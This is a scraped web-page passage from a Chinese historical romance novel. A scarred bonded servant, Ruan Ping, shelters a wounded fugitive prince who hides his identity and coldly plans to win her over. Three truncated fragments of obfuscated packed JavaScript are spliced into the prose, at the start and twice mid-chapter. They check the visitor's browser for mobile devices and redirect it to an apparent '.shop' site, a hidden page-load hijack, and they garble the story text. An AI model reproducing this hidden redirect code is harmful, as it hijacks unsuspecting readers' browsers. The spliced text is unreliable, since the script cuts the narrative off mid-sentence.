d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659133|188355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细地审视着忙碌的三人，听他们谈着去孙家取东西的事。 “先让小墨去县里问问，那叶知府走了也不说替你脱了奴籍，万一要是孙富放了出来，你被那横货撞见，可不好。” 打探什么？ 晏浩初触了下换了新药的左腹伤口，指节捏着空粥碗翻转。 杀意顷刻升腾凝聚，他能活着走到今天这一步，信奉的从来都是宁枉勿纵。 窗户都是用最破的黄纸随意糊的，以他的准头，只要愿意，就将手上瓷碗敲碎，便有把握于五步之内割开外头三人的项子。 空碗半举，俊逸面目沉静，一无悲喜，竟显出些云淡风轻的宝相庄严。 每回他露出这等神色，往往就是要取人性命的时候。 左腹伤处传来清凉慰适，丝毫也不能让他稍起恻隐。 从门缝里正好瞧见阮苹用破布捧着滚烫的药壶在隔药渣，眼前莫名晃过昨夜女儿家的杏色小衣，还有北山暴雨夜，她救下他时，那双水眸底下的悲凉关切。 的确，若按常理，此女鄙陋命薄，一眼看透，实在没什么可怀疑的。 然一将功成万骨枯，况乎帝业。 被这一念扰过，刚要动手时，一个毛茸茸的小脑袋从后窗里跳了进来，是来送信的雪貂。 信上是叶知障对这三人的调查定论，来得实在颇为及时。 看完信，哄走雪貂，晏浩初整个人一下子松弛下来。他信叶知障的判断，看来这一个月，此处或许是相对安全的蛰伏之地了。 其实他也非是嗜杀之人，心念骤转过，恰好阮苹端着药碗跨进来。 一抬头，晏浩初歪靠着墙，连预演都不需，变幻出一副面色踟躇的瑟缩样：“阿姐救了我的命，本来想帮着做些活，我这粗手粗脚的，反给你们添乱。” 听他语意闪烁，眉宇间俱是落魄，阮苹摆摆手，为恐说错话伤人，她也没立刻打听他的来历，放下药碗扯了两句闲话：“阿翁的药厉害，也就再多躺四五日，你若嫌没趣，可问小墨要两本医书看。” 她说话声极轻，像雪落枯枝，偎贴得人心口静谧沁凉。 说完话，她将粥碗收了就到外头收拾起来。 她一背过身，就有一道凌厉视线扫来。 少年抬眉，审视的目色里三分意趣。 诸葛洪的药炉是新造的瓦房，用了七八两银子，只有两间能住人的。而这隔壁相连的草屋虽大，却有不知多少年无人住过，这两日小墨断续收拾过，也就勉强扫了伙房和东屋，旁的地方破乱倾颓，且有得收拾呢。 …… 白日疏忽晃过，斜阳透窗洒入暮色，晏浩初伤眠乍醒，远远听着小墨在对阮苹讲县里的事，而后是她在院里的声音：“晚上的药我来换，今儿病患多，你快回去帮阿翁吧。” 他垂首望了下自己腹间的伤，又想起昨夜此女的意图，便挑眉嗤了记。 索性一介寒微丑妇，他便顺着哄上一哄，反正将来联姻也还要对着一群女人，此间无事，何不提前演练一番，若能将人哄得死心塌地，也好多一条在此蛰伏的保障。 木门‘吱嘎’推开的一瞬，晏浩初又将编好的身世过一遍，心中无端冒出些玩心来——他其实没哄过女人，戏文里也只听过些纨绔强抢民女的，若是太难哄，他试过也便罢了，也无甚要紧的。 4. 坦诚 “阿翁说那毒伤胃肠，要连吃七八日烂粥，你若觉寡淡，明儿我去县里，给你带两块腐乳茶点。” 她平日不爱多话，说话声息又轻。此刻一面放下药膏布绷，一面背着身爬上藤竹围榻去支窗，一句话愈发浅淡不清。 年深日久的木窗笨重得很，这是怕他午睡着风，才午膳时卸窗晚膳又起。 这一日三餐吃喝，都由她忙中照料着，即便是同宫人比起来，也能在许多细微之处，觉出此女的周到用心来。 养伤闲寂，晏浩初目光游移，便又凝在她身上。 东屋虽旧却大，南窗下一张霉点斑斑的藤竹围榻，也不知荒弃了多少年岁，四个柱角竟都已经深陷进泥地里，轻易搬动不得。 阮苹胳膊抬高了，此刻正跪趴在这张藤竹榻中间，同窗户上一截生锈的铁销较劲。 她左手将窗稍朝上抬，单右手看准了发力。 第一次没拔出销，便愈发塌腰去够。 其实这动作也没维持多久，甚还是偏对着卧榻的。 可落在晏浩初眼里，却有了意味。 如今大皇兄的暗桩都被诱去了松江府，安睡了一整个下午，他一副紧肃多年的心胆在这僻静渔村的破草房里，倒难得被迫松弛下来。 人一旦清闲松弛下来，神佛菩萨生雅好、多悲悯，庸人凡夫生骄逸奢败，而禽兽俗人者，则生污秽歪心。 能在幼年时被挑买作瘦马的，脸面长开未必上佳，身段骨相则大多远超常人。 阮苹个子不出挑，只胜在一段合掌握的弱腰。 她原本着粗衣，这一扬臂挪动，便将腰身箍出了轮廓来。 毕竟是血气方刚的少年人，又有上回一场解衣伴眠，晏浩初面上端俨，心中却不由得想入非非起来。 以至于他都没太听清楚阮苹用江南方言问的这句。 他生母是来大梁和亲的鞑靼公主，后来鞑靼灭族生母枉死，大梁南迁后，父皇愈发沉湎酒色玄谈。是以七岁起，他就跟着徐将军在行伍里长成的，军中什么国别的能人异士皆有，虽说苏湖一带的方言也会说些，但大体上用的还是顺天府北地的官话。 今早劈柴的时候，他也是勉强才说了两句南边的方言。 隐约听得种‘腐乳’的吃食，晏浩初含糊应了声，岔开话等着她下一步：“我是个皮糙肉厚的，阿姐买什么都好。” 而等她回身过来时，他微不可查地挑眉，从她脸上挪开视线。 便是这一句上，阮苹就听出了他说的是北地官话。 什么样的身份，能认识堂堂知府，且叶知府放了她回来，却又像是要避嫌一般全然再没来管过？ 现今世道不太平。 她在心里猜了一圈，一一排除过水匪、外族密探、逃犯…… 实在猜不到，她也不愿涉险或空忙一场，决定今夜就探探他的口风。 “这几日万不要再下地做活。”阮苹侧身旁坐，倒没要他解衣，只将他上衫卷叠起两寸，露出左腹箭伤口子，而后凝神细致地料理起伤处来。 虽非正经药童，她敷药缠伤的手法倒比小墨还精细些。 为怕弄疼他，她垂目敛容，一面闲话一面缠纱，弹指间□□圈纱在右腰侧收结，缠得又快又稳。 满屋斜阳愈盛，在她身上拢起一层朦朦碎金。 出乎他的意料，做完这一切，到她将新买的几件布衫抱放到他枕畔，都并没出现任何逾矩引诱的言辞举止。 这反倒让晏浩初难得失算，他佯作出一番伤眠病困的无力模样，一双眼却在暗处观她，心里幽微处又要生起疑来。 上位者，必擅观人心。一旦有看不透的，必及早诛之。 “这是我让小墨去成衣坊买的春夏衫子，是粗布料子的。待你伤好些，再带你去县里另挑些好的。” 她缓缓说着，也不再绕弯子，从角落里拖了个变型凹陷的铜火盆过来，将他初来时那件三异绣法的玄色武服拿了出来，“对了，还不知道你名讳？” 她并没问他，作势要把武服丢进铜盆里，打燃火折子拢着，冷不防地就侧首径直望进他眼底里。 因这一整日都惯了她温吞清冷的样子，这一下开诚布公，晏浩初险些没来得及收起心神。 二人向阳坐着，所隔不过数寸远。 她脸上拳脚伤过去十数日，虽是浅了许多，底下酱紫黑气泛上来，东一块西一片的，几乎将她整张脸都要占满了。 瘀伤交错间，更有右颊和眉心两道陈年长疤。 右颊一道从鬓边斜下至颌，眉心则自左额贯过山根至眼角。 即便这两条刀痕当时就处理过，并没有太多浮凸红肿，在一妙龄女孩儿家的脸上出现时，也足够叫人憾然震诧。 不过晏浩初在战场上见过的刀痕太多，他能很快掩饰下心里一晃而过的厌嫌，同她对望。 便就是这么一会儿，他就猜度出了这人大概喜欢哪一套了。 这样一张脸，也不知受过多少唾弃白眼。 他掩饰的极为自然，以至于阮苹丝毫没觉出此等心神变幻。 她未似往日避开，而是有些怔愣地同他对视。 的确，从十六岁她自毁容貌起，因遭厌嫌多了，渐渐的，往常同生人说话，都是半垂着脸不去对视的。 而今日，他就这么温和地直视着她。 手上火折子一颤时，又被一只温热手掌托过，指节擦过的一瞬，她手上禁不住松脱，晏浩初适时接稳火折子，点燃玄色武服袖边后，丢进铜盆里。 火光映着暮色，将屋中一方天地照彻。 “鄙姓元，名伯玉，是家中最不成器的一个。父祖世代商户，今岁朝廷征兵，兴许实在是缺人，就连我家也分派到了一个。战场真不是人待的地方，我实是怕极了，等不到父亲托关系将我带回，却被庶母买通同一个营的来害命，只好作了逃兵……” 晏浩初盯着铜盆里的火光，透过他鬓若刀裁的脸，仿佛就能看见作‘逃兵’时的惊怖凄惶。 难怪了，这一下，前两日的事便都串起来通顺了。 “此地荒僻，你只管养好身子。”朝廷连年战乱，得知他比自己还小二岁时，阮苹叹息一记，想到这些日子流民的惨况，语带不忍，目中亦起了一派荒芜，“死了，就什么都没了。” 眼看着话说过了头，怕她要赶自己，晏浩初忙又添了句：“不妨事，我家叔父是千户长，只要徐大将军胜了，家中功过相抵，我便回乡从商就是。” 这句瞎话一落，便果真见她目中一松。 其实方才小墨将县里的情况带回时，阮苹就已经改了昨夜的主意。 听闻新来的范县台是出了名的青天老爷。孙屠户因伤人诬告之罪，被罚作两月的苦役，孙家母子也因帮纵之罪被罚一月城役。 如此一来，只要等姨母孙阮氏城役结束，她自行同孙家定一个脱籍的协议，凭他三十两、五十两，靠她一双手，总有脱籍的一天。 等立了女户，她就买几亩水田赁出去，她算过账，到时候一年田租、绣活、竹器加起来一年至少有十余两，熬上七八年，三十岁前她都能在府衙门前买个最小的铺面了。 所以仔细一算，其实她也并不一定就要依附旁人再走捷径的。 毕竟上一回走捷径时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在确定了他目中掺杂的一丝疼惜慨叹后，她眼眶颤了颤，平日里深藏着的卑怯傲气顷刻都消匿无踪。 她甚至好像都忘了，自己有多厌恶被男子触碰。 “阿姐，你家中是作什么的，可有父兄？这脸上的两道……怎会让人如此作践？” 他叹息着轻问，从左颊涂到眉心额头，长指有意无意地从她唇畔触过，微扬眼尾处好似有些洇红。 他眉宇间蕴着颇重的少年气，这副情态，便果然像极了不谙人间疾苦险恶的富商公子。 荒芜心海间有什么说不清的暗潮涌过，酸涩陌生到让她不适。 到那只手顺着右颊长疤抚到耳后时，她才幡然醍醐，后知后觉地撤开身躲过。 这样的人，不该是她肖想的。 戏文唱的玉落污沼、明珠蒙尘，她不会趁人之危，去做那染玉的泥。 昨夜准备好的说辞顷刻抛去，任由心海变幻，阮苹接过药膏盖好，目中平静到一派死寂，起身将碗盏药包收拾。 一面收拾，一面低头照实道：“元公子，我生下来就是妓籍，十六岁到孙家。按大梁的律例，主杀无罪奴仆者，也不过徒一年。若非是叶府台过路……” 浑不在意地笑笑，她收好用具，朝榻边矮几与他倒了盏水，“曾有个客人替我掐算过，说什么我罪业深重，要历百千万劫才得投个良籍。我至今也还是个奴籍，无父无兄，幸而还有个姊妹佃在林员外家，是最后一点惦念。” 她一番话温温吞吞，始终浅笑着，手上没个停。话说完了，在榻上人长久的静默里，她也没再抬过头，转身就要出门去。 一只脚才跨出去时，背后忽幽幽响起一句：“要百千万劫啊，算命的混账话，阿姐也信？” 5. 温柔 被这一句问得迟滞了瞬，多少经年过往骤聚，豆蔻韶华，被人像货物一样挑拣，深埋心底的不甘愤恨。 她做尽了自己所能做的事，一次次跌入惨淡命数，又一次次从泥沼深渊里爬出来。 纵然如今孙家被罚，她累了，也早就木然了。 只要一日还没脱籍，还没买田宅立户，她就不敢再生多一分奢望。 她背着身，不答这一问。只在掩门之际嘱道：“夜里要是害疼，就去案头竹筒里倒一粒药吃。若有事，就敲几下墙，我能听见。” 言罢，她迈步阖门，再没停留。 待破败木门刚一被关上，晏浩初微眯了眸，搓捻了下指尖，鸦睫垂下来在眼下投上一片阴翳。 他早上去后院的时候瞧过，那里除了一间柴房外，可并无能睡人的地儿。 而这间东屋虽破旧，却分了里外两处。他占了原本作厅用的外间，里间即便窄小昏暗，这种天气，莫说拖张藤竹榻进去，就是直接席地扯条褥子睡，也总不会受寒吧。 一个早没了清白的奴，怎生突然念起男女有别了？ 难不成，她是觉着昨夜他没有回应？ 挟恩图报，这是又演起欲拒还迎的戏码了？ 思索揣度间，他倒是越发笃定此女非是对方养的探子，闲心正盛时，冷不防腹间灼痛漫开，起先他不甚在意，咬牙忍了一会儿后，还是立刻攀去案头取药服下。 四壁寥落，药倒是有效的很，看来他这一月也的确只能在此栖身休养了。 只要这丑妇当真没坏心，待尘埃落定的一日，他自会赐她一辈子也用不尽的银钱。 …… 一晃过了二旬，从五月望出了梅起，江南的天火炉似的一日热过一日。 阮苹死死捏着身契。 她走在石板路上，听着耳畔唧唧不断蝉鸣阵阵，鬓发眉间俱是汗，脚下生风。 她知道这时候该哭的，一颗心却塞满半生辛酸苦劳，只觉着胀得要爆裂开，张开嘴时，却连一个字也发不出。 快步朝渔村疾行，时不时自肺腑里跳出两记笑，三分嘲七分癫。 就在方才…… 她用十六两替孙家母子免了城头苦役，也终于让他们松口，达成了一个脱籍的协议。 即便孙家要的脱籍银子，是她难以承受的。 攥紧身契和仅剩的二钱银子，她第一个敲开诸葛洪的院门。 诸葛洪的药庐同他们的草房相贴着，他颤颤巍巍地快步从药房出来。 “什么，孙家讨要二百两！五年之期？”诸葛洪端着碗绿豆汤正要让她喝，听得协议上孙家要的数额时，险些没将陶碗砸了。 阮苹搁下绿豆汤，只喝了两口井水：“是，在县衙立了字据。但这五年我可以自己拿着身契，不用再回孙家。等攒够二百两，交割清楚后，再去县里销籍立新户。” 当年孙家从鸨儿处买下她时，因是有阮苹在铁佛寺佛前自毁的一段，鸨儿顾忌人言怕断财路，那时糊里糊涂的，才六两就成全了她和孙三郎。 浔溪县里的普通人家，六七两银就够过一整年的。 这两年朝局动荡，二百两，不啻为一笔天文数字。 诸葛洪破口骂了几句，听得小墨在旁分午饭，叹道：“你救下的元家小子倒是厉害，他昨夜打来的兽皮子，今早猎户来收，给了一两二钱呢。唉，我还特地让墨儿去买了些酒肉打牙祭唉……这样，明日起我多往县里去看病人，五年，小老儿只要活着，多的没有，四五十两肯定替你攒出来。” 一旁小墨分完给隔壁的饭菜酒肉，听着这话时，转头看了眼自己的师父，想要说什么时，到底没有开口。 阮苹一眼就看出了这男孩的心思。 疏不间亲，小墨才是要给诸葛洪养老送终的。 “阿翁，我说了不会拿你一分银子。小墨阿弟今年十三了，等你们存够四五十两，他也正好该是娶妻生子的年岁，到时候翻修屋子置办家用，哪里不用钱。” 听她如此断言，诸葛墨把食篮摆到石桌上，这男孩子突然抬眼直直看过去，直截了当道：“姊姊，五年，我和师父存五十两，可以借给你。” 老者短暂沉默了下。 五十两，确实不是个小数目。他们这一老一小，屋里也没个女人帮衬，将来讨媳妇，好人家姑娘哪里是好娶的呢。 诸葛洪也曾经私下提起过，若是一块凑钱把她奴籍去了，等小墨满十八，索性他两个凑一家，倒是一举两得了。不过当时就被阮苹一口回拒了，小墨也是太过年幼，诸葛洪也只当自己没问过。 阮苹当时否决这个提议，倒不全为两人年岁性情不配的问题。 而是她有私心，在这世上，除了妹妹桃露，也就这对师徒同她还算有些相依为命、扶持互继的情分在。 为这一点善意，她一则坚持，将来还是要给诸葛墨挑一个身家清白的姑娘。二则她总觉着小墨这孩子，心思太重。这种说一句都要掂量好久的性子，会让她想到桃露的生父——当年骗苦了她阿娘的那个茶商。 她自认也是心思重阴郁之人，这等人，若真要相伴一生时，生了歪心，就会失控。 接过食篮，她忙朝师徒两个摇摇头，不再保留地道出底牌：“阿翁，您老可还记得绣坊新来的萧公子萧坊主？” 诸葛洪点头，凝神听她讲。 “他这次从松江府回来，说和南洋客商谈成了生意，往后每年要朝海外贩售定制缂绣。他的绣坊里没几个会缂绣，已许了我一匹六两的高价。如今阿元在家帮衬，我赶一赶四十日缂一匹，只要这五年倭寇不来，一年单靠缂绣就能有四十几两。不过竹席、竹篮往后不编了，您也同来收的货郎讲一声。” 缂丝虽贵，却最耗时间心力，是个既难且苦的活。 “你也别累坏了身子，说好了，墨儿和我存五十两，到时先借你脱籍。还有你妹妹桃露，她毕竟在林家作姨娘的，脱籍的大事，她就再没能耐，先头你说给她存的二十八两，去问她先取回来，也是一笔。” 提到桃露，阮苹却没话了。 开生药铺子的林家和绣坊都在城南，今日她从绣坊见了萧公子出来，就直接去了林家。 也就大半月功夫，桃露就把二十八两挥霍一空。她今儿去林家连门都没能进，问了门房，那人斜着眼鼻子里怪哼两声，只说四姨娘昨儿同三姨娘一言不合打起来了，还误伤了小小姐，正被夫人罚着思过呢。 对这唯一血脉相连的妹妹，阮苹不得不挂心，却从来也没指望过。 若非此番牢狱死别，她绝不会将银子先给了桃露。 脱籍销契的二百两，她只能靠自己。另外桃露是佃在林家作妾，还有两年期满，二十八两挥霍没了，她也只能另外再做筹谋。 因诸葛洪本就不喜欢桃露，这一茬她就没提，提了食盒就往后头窄巷穿回隔壁草屋去了。 债多不愁，总归她暂且算是脱离了孙家，又幸得自小苦学了缂丝的绝技。遇上萧坊主识货，她下死力气熬上几年，银子总会慢慢多起来的。 . 一进后院，扑面一股鲜嫩油香。 穿过堂屋，一人举着勺端着碗遥遥朝她嚷：“阿姐，回来了！你看，早起我在溪边捡了好些地衣呢，加了香油拌了一碟子。” 少年侧身笑往后看，麻衣短打下伤势好了大半，三两缕墨发粘腻在项侧，右颊梨涡在日头下隐现。 在他身后的地上，铺满了一地新编的竹刷子和小半张编到一半的凉席。 就是在这个笑里，她一步迈过堂屋的门槛，撑了大半日的一口气突然就散了，就觉着再也走不动了似的，她提着食篮紧走两步，到瓜架下坐定。 “你是养伤的人，总闲不住。”她才从食篮里拿出绿豆汤，就有个早凉好水的粗陶杯摆到了她跟前。 “阿姐才是闲不住的人，你一日有睡够三个时辰的嘛，还来说我。”说话间，晏浩初摆好几个菜，又来回两次厨间，熄了灶火搬了两把掉漆的圆凳，顺手还把锅铲朝锅里两下刷了。 家中的这些杂事，从他第三日勉强下床起，就慢慢包揽过去了。 一开始，她是极不习惯的。 活了这么多年，从来都是她被人差遣驱使。见过的男子，也大多都是孙家父子那一类，在家里连双筷子也不会收的主儿。 唯独救下的这个少年全然不同。 从最初他帮着洒扫劈柴，她还以为这是他寄人篱下的客套。可再往后，这人今日修绑个凳子，明日借苗支搭个瓜架，甚至只稍看两眼，就能仿着她的手法劈竹子学会了做竹丝刷子。 往往她一个转身，他就悄无声息地把她余下的活接过做完了。 日复一日的，没了最初的有意讨好，他反倒愈发大包大揽起来。 她留心过，许多活他也是生手，却都能在一二次后就很快做好。 他一声声‘阿姐、阿姐’地唤着，两个人倒真似姐弟一样相处起来。 便是这两日偶尔晌午小睡醒了，没彻底清醒时，她总会隔着窗偷觑会儿他在后院编渔网的身影。 看着看着，她总莫名要想起鸨儿从前常挂在嘴边的一句话：“天底下好男人是没死绝，可绝不会踏进我这归家院的门，同客人交心的，妈妈我没见过一个有好下场的。” …… 思绪中断在眼前人颀长身影里，是晏浩初替她挡了些烈日。 他收拾完从厨间端出两个凉菜来，把瓜架下叶荫更浓些的地方让给阮苹，自己则一屁股大剌剌地坐在略热的一头，往食篮里翻出一小罐黄酒时，问也不问，掀了封泥，颇豪迈地就朝碗里倒。 他挨着她颇近，饮一口冷酒，发出阵畅快惬意的欸叹，眼珠子时而扫过食篮边上的身契。 “呀，村西头王嫂子过两日办婚仪，这酒我本想送她家去。你伤没好透，怎好饮酒！” “就这点淡酒，同军中的烧刀子比，那就跟水一样嘛。诸葛先生都说我的伤没要紧。我虽还没上过战场，可骑射都是打小的功夫，阿姐也该学些强筋健骨，往后我教你。” 他笑起来飒然俏皮，深邃眸子弯作两弘潭水，睑下皱起一对卧蚕，养了这么些日子，一张脸愈发显出唇红齿白的风流昳丽来。 “少喝些。”阮苹争不过他，不自觉地轻笑了下，低头吃菜。 “听说村西头王家嫂子都三十多了，新寻的郎君才同我差不多大，阿姐你说，他们是日久生情啊，还只是……” 他没再说下去，因为从她的无言沉默里觉出了些不自在。没想到出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659135|188355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身风尘，却连这样玩笑话也听不得。 这些日子相处下来，他二人一个热切好动，一个含蓄喜静，然而骨子里都是细腻敏慧之人，故而时日虽不长，平日相处自得，都各安对方的好处，真个家人一样。 见她每样吃了几筷子就放了箸，他知这是做瘦马时落下的毛病，也没多话，就开门见山地问起了身契的事。 既不藏着掖着，或许就是等他来问。 他这么一开口，阮苹彻底放了碗。 她虽自小就只有自个儿谋划的，但有些事，还是喜欢坦诚些好。 毕竟二百两，若真的光凭卖缂绣来攒，四五年里，难保绣坊或是萧公子那处有什么变数。 既然这元家阿弟有些家财，又是她将他从山林里拖救回来，让他早些知道这事，也好将来索取报酬。 她便将同孙家约定销身契的事都如实地都说了，也是奇怪，对着这人，她倒比在隔壁说的还要详尽些。 待她说完时，酒壶里也还剩一半酒，面前少年三两口吃尽石桌上的菜，又呼啦啦一下喝光了绿豆汤。 稍一沉吟，他打了个饱嗝，难得言简意赅地：“最迟今年雪落，我让家中送一百五十两来。” 撂下这句后，他都没给她说话的机会，两下里叠了碗筷就往厨下舀水去洗。 一百五十两？ 阮苹被他这句震住。 石桌上半壶花雕映着日阳晃在她眼底，给自己倒一盏黄澄澄的花雕，朝太阳下漾两圈。 她平生最厌酒，这会儿倒莫名想尝一尝。 视线淌过瓜架垂落的嫩枝，落在他忙碌利索的背影里。 眼角觑见他粘腻发髻边残留的乌黑血痂，她忽然就难受起来，觉着那痂像是黏在自己发间。 家资再丰，他毕竟也有后母兄弟。听他口气，说不定这一百五十两，是他自己全部的余钱了。 一百五十两！ 诸葛先生的药费了三两多，外加她给他添置的衣物用具，这二月来，统共约莫六七两银子。 她原本盘算着，向他要个二三十两的。 却没等她开口，他就开了这么个天价？！这一下突然之间，加上她手上有的，赶明儿开春前，她不仅能凑齐二百两去孙家销籍，甚至还能剩下不少。 惊喜之余，阮苹深望少年背影。 世上怎会有他这样憨直没防备的人。 他腹间的伤深得很，不好碰水，这大热的天，只好每日擦擦身，也一直没有沐发。 头发里的血痂子一直都没彻底弄干净。 也不知想着什么，凝结心海颤动，泛起难忍的绵密酸涩。 她不喜欢，这陌生的情愫。 仰头饮一口花雕，她被辣得呛了记，立时就听到厨间喊：“阿姐，你喝不惯，还是留了我一会儿喝。” 花雕到底不算太冲，便是这么一句后，从来厌酒的阮苹忙又倒了一大碗，又试着喝起来。 这酒是放井水里冰过的，适应过最初的那阵辣，第二口时，就品出了醇香冰甜来。 看着也就小半壶，大热天去了封泥也不好存放，要丢了她舍不得，要留了给里头伤病员喝，她更不忍。 她记得醉酒的滋味，就在梳拢那日，恩客投了八十两银子，从来迫着都不肯饮一滴的人，那日黄昏从后厨拿了一大壶桂花酿，甜的发腻。一大壶灌下去，便连恩客的脸都模糊了。 只记得第二日落了红的帕子，满身的掐捏烫痕，和客人塞在枕边的二两碎角赏钱，而后她头痛昏沉了一整日。 醉酒的感觉，好比就是在受刑。 却能很好地盖过旁的痛。 活了一十九年，从没想过有人会平白无故地给她银钱。 他竟主动许她一百五十两酬谢。 不远处的厨间锅瓢混着水声，酒气漫开，她指腹抚上壶口，触到颊侧发烫长疤时，忽然惊惧觉出，自己偷觑的双眸里已有水泽洇红。 用力揿过眼，揩下一滴，晶莹剔透地点在指尖。 寥寥几分泛着死气的触动，就这么吓没在这滴水珠里。多少年了，不论经历什么，没有哭过。 再去摸，双目干涸。 犹疑蹙眉，又勉力挤了挤眉目，仍是干的。心底晃过分怪异空阔，便抱过壶饮起来。 院子里的姐妹都说她，是个钻到钱眼里的主儿。 到今日，她才发现，好像也不是。 醺醺然间，便将心中贪欲、哀戚、怨愤、艳羡……尽数融进一双觑望的妙目里。 其实不为了一百五十两，单是这般肯劳心劳力照拂人的，看似热络轻纵实则又最是守礼，天底下这样男子，是她连发梦都不敢想的。 更何况，少年人皆慕容色，这人却不一样，他看她时，目光坦荡温暖无一毫嫌弃。 她其实也是羡慕的，县里那些好命的员外掌柜家的小姐，浔溪一年两次的灯会里，这些小姐们能自个儿觅一个如意郎君，爹娘还会置办几十亩水田或是铺面宅地嫁妆。 她却连己身都没有，连费尽心机从了良，都还是，苦从良。 鬼使神差的，她又饮一口后，叠好身契晃了步子起来，艰难地朝里说了句： “阿元，多烧些水。一会儿你躺着，我与你沐发吧。” 6. 沐发 她不惯饮酒，便就饮这么两口，走到热辣日阳下时，眼前就有些飘忽。 晏浩初听了这话迈出来时，第一眼看见的就是她眉心、右颊的两条疤。 染了酒气，远看时，两条疤微凸泛红着。 再稍近几步，瞥见这样一张脸上的霞色时，他心口处莫名一热。 若略去两道长疤的话，瓜子脸丹凤目、柳眉樱口的。尤是身段好，若不计较脸面，江南水土浸养得一段风流艳骨，粗布麻衣也难掩。 暮气深重与窈窕少艾交织在一处时，借了这正午的花雕，奇异地泛出种惑人风致。 其实这二十日相处下来，他见她一个孤女，养蚕、劈竹、缂绣，没日没夜地做活，怜悯谈不上，到底也生了一二分感佩的。 疑心去后，他差不多已把最初的一点荒唐念头熄了。因是除了醒来的头一夜，她就像是个活了七八十载古稀迟暮的老妪，他一人也的确是唱不起独角戏来。 可现下不同，晏浩初擦擦手迎过去，这一次，他只一抬眼，就看懂了她眼底全然不同的念头。 他示好相伴二十日，原来都不如一百五十两银子。 就为了一百五十两银子…… 不愧是瘦马院养出来的，区区百两就能让人动心。 嫌恶里混搅进一丝意动，他有些没心肺地一笑：“阿姐心细，不过这大热天的，我没那么多讲究，井水正好。” “胡说什么，凉水沐发伤身子。”她垂眼避开他，举着酒壶想把最后一口喝了，再去生火烧水。 却被少年劈手夺了，他将绮念好奇按下，把剩下的酒液朝地上一泼，难得露出分肃穆神色：“一壶酒又费不了几个钱，我去烧水，阿姐可别喝晕了，你看，我这脑袋脏得都能做窝了。” 未及心疼被泼的残酒，阮苹就被少年矮身指脑袋的话逗笑。 抬眸恰撞见他一霎呆愣时，她又连忙绕过他，去寻沐发用的澡豆铜盆。 …… 正午日阳透过新栽不久的瓜棚叶影，鳞光浮动着照在他如画眉目间。 阮苹在瓜架井口边置了张竹榻，垫一块布巾子，让他仰躺着。 到底是做过瘦马的，梳理揉搓的手法竟比随军的小宦还要适泰周到。 蝉鸣咂咂，温水潺潺。二人各怀心思，除了一开始两句客套敷衍外，便都默契地没再开腔。 一直到第三遍冲洗干净，发间彻底通泰了，晏浩初都在等，等她先耐不住，剖白真实意图。 三教九流，他见过太多苦难里挣出来的人，尽是些小利碎银就能驱使操控的，这等人，见了银钱，大抵就如恶鬼。 偏就是眼前这个，拿乔的很。 拿干布细细替他搓干发，她又顺势绞了块湿帕子，避开他眼周，小心轻柔地替他擦了把脸。 她满是新旧伤痕的细瘦指节从他头顶移过时，他隐约嗅得她衣袖间若有似无的松竹清香。 想不透她袖上怎来的松香气，他闭目假寐着，起了一丝不耐。 草芥一样苦出身的人，也不知何来的这等好耐性。他且等着，等着她主动剖白那些痴心妄想的贪念。 然而出乎他的意料，擦干、泼水，一直到他半散了湿发起身，她都只是醺醺然的，也没再多进一步。 撤干净院里沐发用具后，才听她轻说了句：“我做会儿活，你去后院午睡，省得扰你。” 言罢，她就这么醺红着脸，往院里板凳上一坐，运指如电地劈起了竹子，利刃劈开一片寸宽竹板，劈作百千万片，挑开竹节，再将千余竹丝抖一抖，拢扎作一柄竹刷。 她醉得昏沉，是怕缂歪了绢，又不舍稍事休息，就来做这一把三文钱的竹刷子。 一片竹板弹指间竖劈近百次，略有分心，虎口食指就是一道口子。 晏浩初散着发，倚门看了许久。 等她要做第二件时，他忽正身大步朝院中马扎上的人过去。 一把攥住她腕子，将人扶抱起，映上她惊疑的眸，他强硬地将她指腹一寸寸摊平，抚上本该葱白指节上的新旧伤痕。 看着这些经年劳作的痕迹，剑眉拢着，似踌躇似思量，垂着的目光中愁雾流泻，他声调沉缓：“阿姐，你既救下我的命，未相识前你受的那些苦没办法，可从今往后，要你在我眼皮子底下再受那些苦，我是见不得的。” 他眼皮轻掀，就凭这一句，便清楚地瞧见，她瓷白晕红的小脸上，两汪秋水似的眸里聚了薄雾。 多么轻易，卑贱之人。 掌中素手柔韧微凉，他心底掠过些惊诧，遂渐有盎然意味升腾而起。 想起这些天来的碰壁，又兼杂了些不甘，好奇着这双古井无波下的眸子，若是动起情来，该是何等模样。 遂故作动容地抚过她细瘦嶙峋的指节，迁就试探着伏下脑袋。 他生得高健，湿发顺着肩头流泉一般散开来，是行伍里剪短过的，堪堪坠到她胸口，有一两缕带着水色擦过她颈项。 热烈日阳洒在他皙白挺秀的眉骨山根上，他歪着脸轻皱着眉却又笑出梨涡，就用这张风姿秀雅的面目，凑得越来越近，往她耳边拂热气，轻唤：“阿姐？” 水色浸透衣袍，项侧凉意终让她回神。 从那双能溺死人的眼里抽退，她不着痕迹地挣开他的手，又急退半步，低着头立稳。 果然酒非是好物，花雕后劲重，她方才被一下子扯起来，现下倒觉手腕子都在抖了。 垂眼看地上劈了一半的竹片，她拼命在心里对自己重复，看来今儿一下午，连竹器这等简单的活也做不成了。 面上潮红愈重，她硬抗着，只当没听着方才的胡话。 “罢了，我去河边浣衣，你把屋里脏的都取来。” 她转身寻了一圈，一件脏的都没见。 